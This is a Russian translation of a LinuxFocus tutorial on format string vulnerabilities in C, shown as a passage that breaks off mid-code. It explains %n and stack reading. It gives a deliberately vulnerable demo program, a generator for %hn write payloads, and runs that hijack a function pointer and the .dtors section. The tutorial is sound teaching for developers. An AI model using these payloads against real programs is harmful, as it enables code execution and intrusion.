Home Map Index Search News Archives Links About LF
[Top bar]
[Bottom bar]
эта страница доступна на следующих языках: English  Deutsch  Francais  Nederlands  Portugues  Russian  Turkce  

[image of the authors]
автор Frйdйric Raynal, Christophe Blaess, Christophe Grenier

Об авторе:

Christophe Blaess - независимый инженер по аэронавтике. Он почитатель Linux и делает большую часть своей работы на этой системе. Заведует координацией переводов man страниц, публикуемых Linux Documentation Project.

Christophe Grenier - студент 5 курса в ESIEA, где он также работает сисадмином. Страстно увлекается компьютерной безопасностью.

Frйdйric Raynal много лет использует Linux, потому что он не загрязняет окружающую среду, не использует ни гармоны ни MSG ни побочные продукты жизнедеятельности животных ... только тяжелый труд и хитрости.


Содержание:

 

Как избежать дыр в безопасности при разработке приложения - Часть 4: строки форматирования

[иллюстрация статьи]

Резюме:

С некоторого времени, сообщения, извещающие об эксплоитах, основанных на строках форматирования, начали становиться все более многочисленными. В этой статье объясняется откуда исходит опасность, а также мы покажем, что попытка сохранить 6 байт достаточна, чтобы нарушить безопасность программы.



 

В чем опасность?

Большинство недостатков в безопасности происходят из-за неправильной конфигурации или лени. Это правило справедливо для строк форматирования.

Часто необходимо в программе использовать строки, оканчивающиеся нулевым байтом . Где в программе - для нас не важно. Рассматриваемая уязвимость опять позволяет производить запись прямо в память. Данные для атаки могут поступать с stdin (стандартный ввод), файлов и т.д. Достаточно одной инструкции:

printf("%s", str);

Однако программист может решить сохранить время и шесть байт, написав только:

printf(str);

С "экономией" на уме, этот программист открывает потенциальную дыру в своей работе. Он удовлетворился передачей в качестве аргумента одной строки, которую он хотел просто отобразить без изменений. Однако эта строка будет разбираться для поиска директив форматирования (%d, %g...). Если подобный символ форматирования найден, соответствующий ему аргумент ищется в стеке.

Мы начнем с введения в семейство функций printf(). Мы ожидаем, как минимум, что каждый знает их... но не во всех подробностях, поэтому мы поговорим о наименее известных сторонах этих подпрограмм. Затем мы увидим, как получить необходимую информацию, чтобы воспользоваться типичной ошибкой. И в конце, мы покажем, как это все собирается в один пример.

 

Вглубь строк форматирования

В этой части мы рассмотрим строки форматирования. Начнем с обзора их использования и узнаем о малоизвестной инструкции форматирования, которая раскроет все тайны этих строк.  

printf() : они меня обманывали!

Замечание для тех, кто не живет во Франции: в нашей прекрасной стране есть велогонщик, который несколько месяцев делал вид, что не принимал допинг, в то время как другие члены его команды признали это. Он утверждает, что если он и принимал допинг, то не знал об этом. Поэтому известное кукольное шоу использовало французское предложение "on m'aurait menti !", которое и подало мне идею, что написать в этом заголовке.

Давайте начнем с того, чему нас всех учили в руководствах по программированию: большинство функций ввода/вывода в Си используют форматирование данных - это значит, что надо не только предоставлять данные для чтения/записи, но также и информацию как они будут отображены. Следующая программа показывает это:

/* display.c */
#include <stdio.h>

main() {
  int i = 64;
  char a = 'a';
  printf("int  : %d %d\n", i, a);
  printf("char : %c %c\n", i, a);
}
Выполняя ее мы получаем :
>>gcc display.c -o display
>>./display
int  : 64 97
char : @ a
Первый printf() выводит значение целой переменной i и символьной переменной a, как значение типа int(это делается при помощи %d) - это приводит к выводу ASCII-значения этого символа. С другой стороны, второй printf() переводит целое значение i в соответствующий код символа ASCII, а именно - 64.

Ничего нового - все одинаково для многих функций, прототипы которых похожи на функцию printf():

  1. один аргумент - строка символов (const char *format), которая используется для указания выбранного формата;
  2. один или более необязательных аргументов, содержащих переменные, в которых значения форматированы в соответствии с указаниями предыдущей строки.

Большинство уроков по программированию останавливаются на этом, предоставляя неполный список возможных форматов (%g, %h, %x, использование символа точки . для указания точности...). Однако, есть еще один, о котором никогда не упоминают: %n. Вот что говорит страница man по printf() об этом:

Число символов, выведенных до этого момента, сохраняется по адресу целого числа, указанному аргументом-указателем типа int * (или variant). Преобразование аргументов не происходит.

Здесь - самая важная вещь в этой статье: данный аргумент позволяет производить запись в переменную указатель, даже если она используется в функции для вывода!

Перед тем как продолжить, заметим, что данный формат также присутствует в функциях семейств scanf() и syslog().

 

Время поиграть

Мы начинаем изучение использования и поведения данного формата при помощи маленьких программ. Первая, printf1, демонстрирует очень простое использование:

/* printf1.c */
1: #include <stdio.h>
2:
3: main() {
4:   char *buf = "0123456789";
5:   int n;
6:
7:   printf("%s%n\n", buf, &n);
8:   printf("n = %d\n", n);
9: }

Первый вызов printf() выводит строку "0123456789", которая содержит 10 символов. Следующий формат %n записывает данное значение в переменную n:

>>gcc printf1.c -o printf1
>>./printf1
0123456789
n = 10
Давайте немного изменим нашу программу заменяя инструкцию printf() строки 7 на:
7:   printf("buf=%s%n\n", buf, &n);

Запуск новой программы подтверждает нашу идею: переменная n сейчас равна 14 (10 символов из строковой переменной buf добавляются к 4 символам строки-константы "buf=", содержащейся в самой строке форматирования).

Итак, мы знаем, что формат %n подсчитывает каждый символ, который появляется в строке форматирования. Более того, как мы продемонстрируем программой printf2, он подсчитывает еще кое-что:

/* printf2.c */

#include <stdio.h>

main() {
  char buf[10];
  int n, x = 0;

  snprintf(buf, sizeof buf, "%.100d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
}
Мы используем здесь функцию snprintf(), чтобы не допустить переполнение буфера. Переменная n должна быть равна 10:
>>gcc printf2.c -o printf2
>>./printf2
l = 9
n = 100
Странно? Фактически, формат %n учитывает количество символов, которые должны быть выведены. Этот пример показывает, что обрезание из-за указания размера буфера игнорируется.

Что происходит на самом деле? Строка форматирования полностью расширяется перед тем, как она урезается и затем копируется в буфер назначения:

/* printf3.c */

#include <stdio.h>

main() {
  char buf[5];
  int n, x = 1234;

  snprintf(buf, sizeof buf, "%.5d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
  printf("buf = [%s] (%d)\n", buf, sizeof buf);
}
printf3 немного отличается от printf2: Мы получаем следующее:
>>gcc printf3.c -o printf3
>>./printf3
l = 4
n = 5
buf = [0123] (5)
В первых двух строках нет ничего удивительного. Последняя показывает нам поведение функции printf():
  1. Строка форматирования расширяется, согласно командам1 в ней содержащихся, из-за чего получаем строку "00000\0";
  2. Переменные записываются куда и как надо, что показано копированием x в нашем примере. Строка теперь выглядит "01234\0";
  3. последнее, sizeof buf - 1 байт2 из этой строки копируется в строку назначения buf, что дает нам "0123\0"
Это все происходит не точно так как описано, однако описание отражает основные процессы. Для подробностей читатель должен обратиться к исходникам GlibC, конкретно к vfprintf() в директории ${GLIBC_HOME}/stdio-common.

Перед тем как закончить эту часть, добавим, что возможно получить тот же результат записывая строку форматирования немного в другой форме. Мы использовали формат, называемый точность (точка '.'). Другая комбинация инструкций форматирования приводит к тому же результату: 0n, где n - обозначает ширину, а 0 обозначает, что лишние позиции будут заполнены 0, если вся ширина не будет заполнена.

Теперь, когда вы знаете почти все о строках форматирования, а более конкретно о формате %n, мы изучим их поведение.

 

Стек и printf()

 

Прогулка по стеку

Следующая программа будет нашим проводником на протяжении этого раздела и поможет нам понять взаимосвязь стека и printf():

/* stack.c */
 1: #include <stdio.h>
 2:
 3: int
 4  main(int argc, char **argv)
 5: {
 6:   int i = 1;
 7:   char buffer[64];
 8:   char tmp[] = "\x01\x02\x03";
 9:
10:   snprintf(buffer, sizeof buffer, argv[1]);
11:   buffer[sizeof (buffer) - 1] = 0;
12:   printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
13:   printf ("i = %d (%p)\n", i, &i);
14: }
Данная программа просто копирует аргумент в символьный массив buffer . Мы заботимся о том, чтобы не допустить переполнения некоторых важных данных (атака при помощи строк форматирования более аккуратная чем переполнения буфера ;-)
>>gcc stack.c -o stack
>>./stack toto
buffer : [toto] (4)
i = 1 (bffff674)
Она работает так как мы и ожидали :) Перед тем как продолжить, посмотрим, что происходит с точки зрения стека при вызове snprintf() в строке 8.
Рис. 1 : стек в начале выполнения snprintf()
snprintf()

Рисунок 1 изображает состояние стека в момент, когда программа заходит в функцию snprintf()(мы увидим, что это не так ... однако нам это нужно всего лишь за тем, чтобы дать вам представление, что происходит). Нам не интересен регистр %esp. Он где-то ниже регистра %ebp. Как мы видели в предыдущей статье, первые два значения, расположенные в %ebp и %ebp+4 содержат соответствующие резервные копии регистров %ebp и %eip. Далее идут аргументы функции snprintf():

  1. адрес назначения;
  2. число сиволов для копирования;
  3. адрес строки форматирования argv[1], которая также выполняет функцию данных.
И наконец, стек завершается массивом 4 символов tmp, 64 байтами переменной buffer и целой переменной i.

Строка argv[1] используется одновременно и как строка форматирования и как данные. Согласно обычному порядку подпрограммы snprintf(), argv[1] выступает взамен строки форматирования. Так как вы можете использовать строку форматирования без директив формата (просто текст), все нормально :)

Что получается, если argv[1] также содержит и директивы форматирования? Обычно, snprintf() интерпретирует их так, какие они есть ... и нет причины, почему она будет вести себя по другому! Но здесь, вы можете удивиться, какие аргументы будут использованы в качестве данных для форматирования выходной строки? Фактически, snprintf() забирает данные из стека! Вы можете увидеть это при помощи нашей программы stack:

>>./stack "123 %x"
buffer : [123 30201] (9)
i = 1 (bffff674)

Сначала, строка "123 " копируется в buffer. Директива %x требует snprintf() перевести первое значение в шеснадцатиричный вид. Из рисунка 1 видно, что этот первый аргумент не что иное, как переменная tmp, которая содержит строку \x01\x02\x03\x00. Она отображается как шеснадцатиричное число 0x00030201 в соответствии с прямым порядоком байтов, который принят в процессорах x86.

>>./stack "123 %x %x"
buffer : [123 30201 20333231] (18)
i = 1 (bffff674)

Добавление второго %x дает возможность поднятся выше по стеку. Директива говорит snprintf() искать следующие 4 байта после переменной tmp. Эти 4 байта - фактически 4 первых байта buffer. Однако, buffer содержит строку "123 ", что мы можем увидеть, как шеснадцатиричное число 0x20333231 (0x20=пробел, 0x31='1'...). То есть, для каждого %x, snprintf() "прыгает" на 4 байта дальше в buffer (4 потому что unsigned int занимает 4 байта на процессоре x86). Эта переменная выступает как двойной агент, так как:

  1. пишет в буфер назначения;
  2. считывает данные для формата.
Мы можем "лезть вверх" по стеку до тех пор, пока наш буфер содержит байты:
>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x"
buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378
         0x333837] (63)
i = 1 (bffff654)
 

Даже больше

Предыдущий метод позволяет нам искать важную информацию, такую как адрес возврата функции, которая создала стек, содержащий буфер. Однако, возможно при помощи нужного формата искать данные, расположенные дальше, чем уязвимый буфер.

Вы можете обнаружить порой полезный формат в случае, когда необходимо поменять местами параметры (например, при выводе даты и времени). Мы добавляем формат m$, сразу после %, где m - целое > 0. Он задает позицию переменной в списке аргументов (начиная с 1), которую необходимо использовать:

/* explore.c */
#include <stdio.h>

  int
main(int argc, char **argv) {

  char buf[12];

  memset(buf, 0, 12);
  snprintf(buf, 12, argv[1]);

  printf("[%s] (%d)\n", buf, strlen(buf));
}

Формат, использующий m$, дает нам возможность подниматься по стеку на столько, на сколько мы хотим, так же как мы можем это делать, используя gdb :

>>./explore %1\$x
[0] (1)
>>./explore %2\$x
[0] (1)
>>./explore %3\$x
[0] (1)
>>./explore %4\$x
[bffff698] (8)
>>./explore %5\$x
[1429cb] (6)
>>./explore %6\$x
[2] (1)
>>./explore %7\$x
[bffff6c4] (8)

Символ \ необходим здесь, для защиты $, чтобы оболочка не интерпретировала его по-своему. В первые три вызова мы увидели содержимое переменной buf. С помощью %4\$x мы получили сохраненный регистр %ebp, а затем при помощи %5\$x - сохраненный регистр %eip (известный как адрес возврата). Последние 2 результата, представленные здесь, показывают значение переменной argc и адрес, содержащийся в *argv (помните, что **argv - означает, что *argv - массив адресов).

 

Коротко ...

Данный пример показывает, что предоставленный формат позволяет нам идти вверх по стеку в поисках информации, такой как возвращаемое значение функции, адрес... Однако, мы видели в начале этой статьи, что мы можем производить запись при помощи функций, типа printf(): разве это не выглядит как прекрасная потенциальная уязвимость?

 

Первые шаги

Вернемся к программе stack:

>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"'
buffer : [dця⌡000000000000000000000000000000000000000000000000
00000000000] (63)
i = 500 (bffff664)

Мы задали в качестве строки ввода:
  1. адрес переменной i;
  2. инструкцию форматирования (%.496x);
  3. вторую инструкцию форматирования (%n), которая произведет запись по данному адресу.
Чтобы определить адрес переменной i (здесь 0xbffff664), мы можем запустить программу дважды и соответственно поменять командную строку. Как вы заметили, i имеет новое значение :) Данная строка форматирования и организация стека делают вызов snprintf() подобным на:
snprintf(buffer,
         sizeof buffer,
         "\x64\xf6\xff\xbf%.496x%n",
         tmp,
         4 first bytes in buffer);

Первые четыре байта (содержащие адрес i) записываются в начало buffer. Формат %.496x позволяет нам избавится от переменной tmp, которая расположена в начале стека. Затем, когда доходит дело до инструкции %n, адрес, который она использует, - есть адрес переменной i, расположенный в начале buffer. Хотя требуемая точность равна 496, snprintf записывает максимум 60 байт (т.к. длина буфера - 64 и 4 байта уже записано). Значение 496 - произвольное, оно используется только чтобы изменить "счетчик байтов". Мы видели, что формат %n сохраняет количество байт, которое должно будет записано. Это значение равно 496, к которому мы добавляем 4 из-за 4 байт адреса i в начале buffer. Поэтому у нас получается 500 байт. Это значение будет записано в следующий адрес, расположенный в стеке, который является адресом i.

Мы можем пойти дальше в развитии данного примера. Чтобы изменить i, нам надо было знать ее адрес ... однако иногда программа сама предоставляет его:

/* swap.c */
#include <stdio.h>

main(int argc, char **argv) {

  int cpt1 = 0;
  int cpt2 = 0;
  int addr_cpt1 = &cpt1;
  int addr_cpt2 = &cpt2;

  printf(argv[1]);
  printf("\ncpt1 = %d\n", cpt1);
  printf("cpt2 = %d\n", cpt2);
}

Запуск этой программы показывает, что мы можем управлять стеком (почти) как мы хотим:

>>./swap AAAA
AAAA
cpt1 = 0
cpt2 = 0
>>./swap AAAA%1\$n
AAAA
cpt1 = 0
cpt2 = 4
>>./swap AAAA%2\$n
AAAA
cpt1 = 4
cpt2 = 0

Как вы можете видеть, в зависимости от аргумента, мы можем менять cpt1 или cpt2. Формату %n нужен адрес, вот почему мы не можем напрямую работать с переменными (например используя %3$n (cpt2) или %4$n (cpt1)), однако можем это делать через указатели. Последнее - "полуфабрикат" с огромными возможностями для модификации.

 

Вариации на заданную тему

Примеры, приведенные ранее, приводятся из программы, скомпилированной при помощи egcs-2.91.66 и glibc-2.1.3-22. Однако, вы возможно не получите те же результаты в вашей системе. Конечно же, функции типа *printf() изменяются в соответствии с версией glibc и компиляторы разных версий вовсе не выполняют те же самые инструкции.

Программа stuff подчеркивает эти различия:

/* stuff.c */
#include <stdio.h>

main(int argc, char **argv) {

  char aaa[] = "AAA";
  char buffer[64];
  char bbb[] = "BBB";

  if (argc < 2) {
    printf("Usage : %s <format>\n",argv[0]);
    exit (-1);
  }

  memset(buffer, 0, sizeof buffer);
  snprintf(buffer, sizeof buffer, argv[1]);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));
}

Массивы aaa и bbb используются как разделители при нашем путешествии по стеку. Поэтому мы знаем, что когда встретим 424242, следующими байтами будет buffer. Таблица 1 показывает различия в зависимости от версий glibc и компилятора.

Таблица 1 : Вариации по отношению к glibc    
Компилятор
glibc
Вывод
gcc-2.95.3 2.1.3-16 buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63)
egcs-2.91.66 2.1.3-22 buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63)
gcc-2.96 2.1.92-14 buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63)
gcc-2.96 2.2-12 buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63)

Далее в этой статье мы продолжим использовать egcs-2.91.66 и glibc-2.1.3-22, но не удивляйтесь, если заметите отличие на своей машине.

 

Использование ошибки форматирования

Когда мы реализовывали переполнение буфера для атаки, мы использовали буфер для перезаписи адреса возврата функции.

Со строками форматирования, как мы видели, мы можем зайти куда угодно (стек, куча, bss, .dtors, ...), нам надо только сказать куда и что записать, и %n сделает работу за нас.

 

Уязвимая программа

Вы можете использовать ошибку в форматировании для атаки различными способами. В статье Bouchareine's (Format string vulnerability) показывается, как перезаписать адрес возврата функции, поэтому мы покажем кое-что другое.
/* vuln.c */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int helloWorld();
int accessForbidden();

int vuln(const char *format)
{
  char buffer[128];
  int (*ptrf)();

  memset(buffer, 0, sizeof(buffer));

  printf("helloWorld() = %p\n", helloWorld);
  printf("accessForbidden() = %p\n\n", accessForbidden);

  ptrf = helloWorld;
  printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

  snprintf(buffer, sizeof buffer, format);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));

  printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf);

  return ptrf();
}

int main(int argc, char **argv) {
  int i;
  if (argc <= 1) {
    fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
    exit(-1);
  }
  for(i=0;i<argc;i++)
    printf("%d %p\n",i,argv[i]);

  exit(vuln(argv[1]));
}

int helloWorld()
{
  printf("Welcome in \"helloWorld\"\n");
  fflush(stdout);
  return 0;
}

int accessForbidden()
{
  printf("You shouldn't be here \"accesForbidden\"\n");
  fflush(stdout);
  return 0;
}

Мы определяем переменную с именем ptrf, которая указывает на функцию. Мы изменим значение этого указателя, чтобы запустить выбраную нами функцию.

 

Пример первый

Во-первых, нам надо узнать смещение между началом уязвимого буфера и нашим текущим положением в стеке:

>>./vuln "AAAA %x %x %x %x"
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37)
after : ptrf() = 0x8048634 (0xbffff5d4)
Welcome in "helloWorld"

>>./vuln AAAA%3\$x
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5e4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048634 (0xbffff5e4)
Welcome in "helloWorld"

Первый вызов здесь дает нам то, что надо: 3 слова (одно слово = 4 байтам для процессоров x86) отделяют нас от начала переменной buffer. Второй вызов с аргументом AAAA%3\$x подтверждает это.

Наша цель теперь - заменить первоначальное значение указателя ptrf (0x8048634, адрес функции helloWorld()) значением 0x8048654 (адрес accessForbidden()). Нам надо записать 0x8048654 байт (134514260 байт в десятеричном, что-то около 128Мб). Не каждый компьтер может позволить такое использование памяти ... однако тот, который мы используем - может :) Это длится около 20 секунд на двухпроцессорном pentium 350 МГц:

>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n `
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [Фхя⌡000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
0000000000000] (127)
after : ptrf() = 0x8048654 (0xbffff5d4)
You shouldn't be here "accesForbidden"

Что мы сделали? Мы просто предоставили адрес ptrf (0xbffff5d4). Следующий формат считывает слово из стека с точностью 134514256 (мы уже записали 4 байта - адрес ptrf, поэтому нам еще остается записать 134514260-4=134514256 байт). И в конце, мы записываем нужное значение по данному адресу (%3$n).

 

Проблемы памяти: разделяй и властвуй

Однако, как мы упоминали, не всегда возможно использовать буферы размером 128Мб. Формат %n ожидает указатель на целое, т.е. четыре байта. Возможно поменять такое поведение, сделав указатель на short int - только 2 байта - благодаря инструкции %hn. Из-за этого мы разрежем целое, которое хотим записать, на две части. Наибольший записываемый размер поэтому уменьшится до 0xffff байт (65535 байт). Поэтому в предыдущем примере мы изменим операцию записи "0x8048654 по адресу 0xbffff5d4" на две следующих операции:

Вторая операция записывает старшие байты целого, что объясняет обмен 2 байт.

Однако, %n (или %hn) подсчитывает полное число записанных символов в строку. Это число может только увеличиваться. Сначала, мы должны записать меньшее значение из двух. Затем, второе форматирование будет использовать только разность между требуемым числом и первым, записанную как точность. Например в нашем примере первая операция форматирования будет %.2052x (2052 = 0x0804), а вторая %.32336x (32336 = 0x8654 - 0x0804). Каждая %hn, поставленная в нужном порядке, запишет нужное количество байт.

Нам осталось только указать обоим %hn, куда записывать. Оператор m$ очень нам в этом поможет. Если мы сохраним адреса в начале уязвимого буфера, то нам надо будет только пойти вверх по стеку и найти смещение от начала буфера, используя формат m$. Затем оба адреса будут по смещениям m и m+1. Так как мы используем 8 байт буфера для сохранения адреса перезаписи, то первое записываемое значение должно быть уменьшено на 8.

Наша строка форматирования выглядит следующим образом:

"[адрес][адрес+2]%.[мин. знач. - 8]x%[смещ.]$hn%.[макс. знач. - мин. знач.]x%[смещ.+1]$hn"

Программа build использует три аргумента, для создания строки форматирования:

  1. адрес для перезаписи;
  2. значение для записи сюда;
  3. смещение (в словах) от начала уязвимого буфера.
/* build.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

/**
   4 байта, куда мы должны записать, расположены следующим способом:
   HH HH LL LL
   Переменные, заканчивающиеся "*h", относятся к старшей части слова (H).
   Переменные, заканчивающиеся "*l", относятся к младшей части слова (L).
 */
char* build(unsigned int addr, unsigned int value,
      unsigned int where) {

  /* лениво вычислять настоящую длину ... :*/
  unsigned int length = 128;
  unsigned int valh;
  unsigned int vall;
  unsigned char b0 = (addr >> 24) & 0xff;
  unsigned char b1 = (addr >> 16) & 0xff;
  unsigned char b2 = (addr >>  8) & 0xff;
  unsigned char b3 = (addr      ) & 0xff;

  char *buf;

  /* разделение значения */
  valh = (value >> 16) & 0xffff; //старшая часть
  vall = value & 0xffff;         //младшая

  fprintf(stderr, "adr : %d (%x)\n", addr, addr);
  fprintf(stderr, "val : %d (%x)\n", value, value);
  fprintf(stderr, "valh: %d (%.4x)\n", valh, valh);
  fprintf(stderr, "vall: %d (%.4x)\n", vall, vall);

  /* выделение буфера */
  if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {
    fprintf(stderr, "Can't allocate buffer (%d)\n", length);
    exit(EXIT_FAILURE);
  }
  memset(buf, 0, length);

  /* строим */
  if (valh < vall) {

    snprintf(buf,
         length,
         "%c%c%c%c"           /* верхний адрес */
         "%c%c%c%c"           /* нижний адрес */

         "%%.%hdx"            /* установим значение для первого %hn */
         "%%%d$hn"            /* %hn для верхней части */

         "%%.%hdx"            /* установим значение для второго %hn */
         "%%%d$hn"            /* %hn для нижней части */
         ,
         b3+2, b2, b1, b0,    /* верхний адрес */
         b3, b2, b1, b0,      /* нижний адрес */

         valh-8,              /* установим значение для первого %hn */
         where,               /* %hn для верхней части */

         vall-valh,           /* установим значение для второго %hn */
         where+1              /* %hn для нижней части */
         );

  } else {

     snprintf(buf,
         length,
         "%c%c%c%c"           /* верхний адрес */
         "%c%c%c%c"           /* нижний адрес */

         "%%.%hdx"            /* установим значение для первого %hn */
         "%%%d$hn"            /* %hn для верхней части */

         "%%.%hdx"            /* установим значение для второго %hn */
         "%%%d$hn"            /* %hn для нижней части */
         ,
         b3+2, b2, b1, b0,    /* верхний адрес */
         b3, b2, b1, b0,      /* нижний адрес */

         vall-8,              /* установим значение для первого %hn */
         where+1,             /* %hn для верхней части */

         valh-vall,           /* установим значение для второго %hn */
         where                /* %hn для нижней части */
         );
  }
  return buf;
}

int
main(int argc, char **argv) {

  char *buf;

  if (argc < 3)
    return EXIT_FAILURE;
  buf = build(strtoul(argv[1], NULL, 16),  /* адрес */
          strtoul(argv[2], NULL, 16),  /* значение */
          atoi(argv[3]));              /* смещение */

  fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
  printf("%s",  buf);
  return EXIT_SUCCESS;
}

Позиция аргументов зависит от того, первое записываемое значение находится в старшей или младшей части слова. Посмотрим что мы получим теперь без всяких проблем с памятью.

Во-первых, наш простой пример позволяет угадать смещение:

>>./vuln AAAA%3\$x
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5d4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048644 (0xbffff5d4)
Welcome in "helloWorld"

Оно всегда одно и то же: 3. Так как наша программа поясняет, что происходит, мы сразу имеем оставшуюся необходимую информацию: адреса ptrf и accesForbidden(). Мы строим наш буфер в соответствии с этим:

>>./vuln `./build 0xbffff5d4 0x8048664 3`
adr : -1073744428 (bffff5d4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[Цхя⌡Фхя⌡%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [Цхя⌡Фхя⌡00000000000000000000d000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000
00000000] (127)
after : ptrf() = 0x8048644 (0xbffff5b4)
Welcome in "helloWorld"

Ничего не произошло! На самом деле, так как мы использовали буфер длиннее, чем в предыдущем примере в строке форматирования, стек сдвинулся. ptrf переместилась из 0xbffff5d4 в 0xbffff5b4. Необходимо подкорректировать наши значения:
>>./vuln `./build 0xbffff5b4 0x8048664 3`
adr : -1073744460 (bffff5b4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[хя⌡?хя⌡%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [хя⌡?хя⌡0000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x8048664 (0xbffff5b4)
You shouldn't be here "accesForbidden"

Мы выиграли!!!  

Другие эксплоиты

Эту статью мы начали с утверждения, что ошибки в формате - реальная уязвимость. Другое дело - как использовать их. Эксплоиты переполнения буфера надеются на запись в адрес возврата функции. В этом случае вы должны пытаться это сделать (почти) наугад и сильно молиться на свои скрипты, чтобы они нашли правильные значения (даже вызов шелла должен быть полон NOP-ов). Вам не нужно все это в случае ошибок в формате, и вы больше не ограничены перезаписью адреса возврата.

Мы видели, что ошибки в формате позволяют нам производить запись куда угодно. Итак, мы увидим сейчас использование этой дыры, основанное на секции .dtors.

Если программа скомпилирована при помощи gcc, вы можете найти в ней секцию конструктора (называемую .ctors) и деструктора (называемую .dtors). Каждая из этих секций содержит указатели на функции для выполнения перед входом в функцию main() и после выхода из нее соответственно.

/* cdtors */

void start(void) __attribute__ ((constructor));
void end(void) __attribute__ ((destructor));

int main() {
  printf("in main()\n");
}

void start(void) {
  printf("in start()\n");
}

void end(void) {
  printf("in end()\n");
}
Наша маленькая программа показывает этот механизм:
>>gcc cdtors.c -o cdtors
>>./cdtors
in start()
in main()
in end()
Каждая из этих секций построена одинаково:
>>objdump -s -j .ctors cdtors

cdtors:     file format elf32-i386

Contents of section .ctors:
 804949c ffffffff dc830408 00000000           ............
>>objdump -s -j .dtors cdtors

cdtors:     file format elf32-i386

Contents of section .dtors:
 80494a8 ffffffff f0830408 00000000           ............
Мы проверяем, что указанные адреса соответствуют нашим функциям (внимание: предыдущая команда objdump выдала адреса в прямом порядке байтов):
>>objdump -t cdtors | egrep "start|end"
080483dc g     F .text  00000012              start
080483f0 g     F .text  00000012              end
Итак, эти секции содержат адреса функций для выполнения в начале (или в конце), находящиеся между 0xffffffff и 0x00000000.

Давайте применим это к vuln с использованием строки формата. Сначала, мы должны получить расположение в памяти этих секций, что по-настоящему просто, если у вас под рукой есть двоичный код программы ;-) Просто используем objdump, как делали ранее:

>> objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
 8049844 ffffffff 00000000                    ........
Вот оно! Теперь мы имеем все, что нам надо.

Цель эксплоита - заменить адрес функции в одной из этих секций на адрес функции, которую хотим выполнить. Если эти секции пустые, мы просто должны перезаписать 0x00000000, который указывает на конец секции. Это вызовет нарушение сегментации (segmentation fault), так как программа не найдет 0x00000000 и возмет следующее значение, как адрес функции, что, вероятно, неверно.

Фактически, единственная интересующая нас секция - секция деструктора (.dtors): у нас нет времени делать что-либо перед секцией конструктора (.ctors). Обычно достаточно перезаписать адрес, расположенный на 4 байта дальше от начала секции (0xffffffff):

Вернемся к нашему примеру. Мы заменяем 0x00000000 в секции .dtors, расположенный по адресу 0x8049848=0x8049844+4, на адрес функции accesForbidden(), уже известный (0x8048664):

>./vuln `./build 0x8049848 0x8048664 3`
adr : 134518856 (8049848)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[JH%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = bffff694 (0xbffff51c)
helloWorld() = 0x8048648
accessForbidden() = 0x8048664

before : ptrf() = 0x8048648 (0xbffff434)
buffer = [JH0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000] (127)
after : ptrf() = 0x8048648 (0xbffff434)
Welcome in "helloWorld"
You shouldn't be here "accesForbidden"
Segmentation fault (core dumped)

Все проходит отлично, main() helloWorld() и затем выход. Потом вызывается деструктор. Секция .dtors начинается с адреса accesForbidden(). Затем, так как нет другого действительного адреса, происходит ожидаемый дамп памяти.  

Пожалуйста, дайте мне оболочку

Мы видели здесь простые эксплоиты. Используя тот же принцип, мы можем получить оболочку, передавая шеллкод или через argv[] или переменную окружения уязвимой программе. Мы просто должны установить правильный адрес (т.е. адрес вызова оболочки) в секции .dtors.

В данный момент мы знаем:

Однако, в реальной жизни, уязвимая программа не настолько хороша, как в примере. Мы представим метод, который позволяет нам поместить шеллкод в память и находить его точный адрес (это значит: больше не нужны NOP-ы в начале шеллкода).

Идея основана на рекурсивных вызовах функции exec*():

/* argv.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


main(int argc, char **argv) {

  char **env;
  char **arg;
  int nb = atoi(argv[1]), i;

  env    = (char **) malloc(sizeof(char *));
  env[0] = 0;

  arg    = (char **) malloc(sizeof(char *) * nb);
  arg[0] = argv[0];
  arg[1] = (char *) malloc(5);
  snprintf(arg[1], 5, "%d", nb-1);
  arg[2] = 0;

  /* printings */
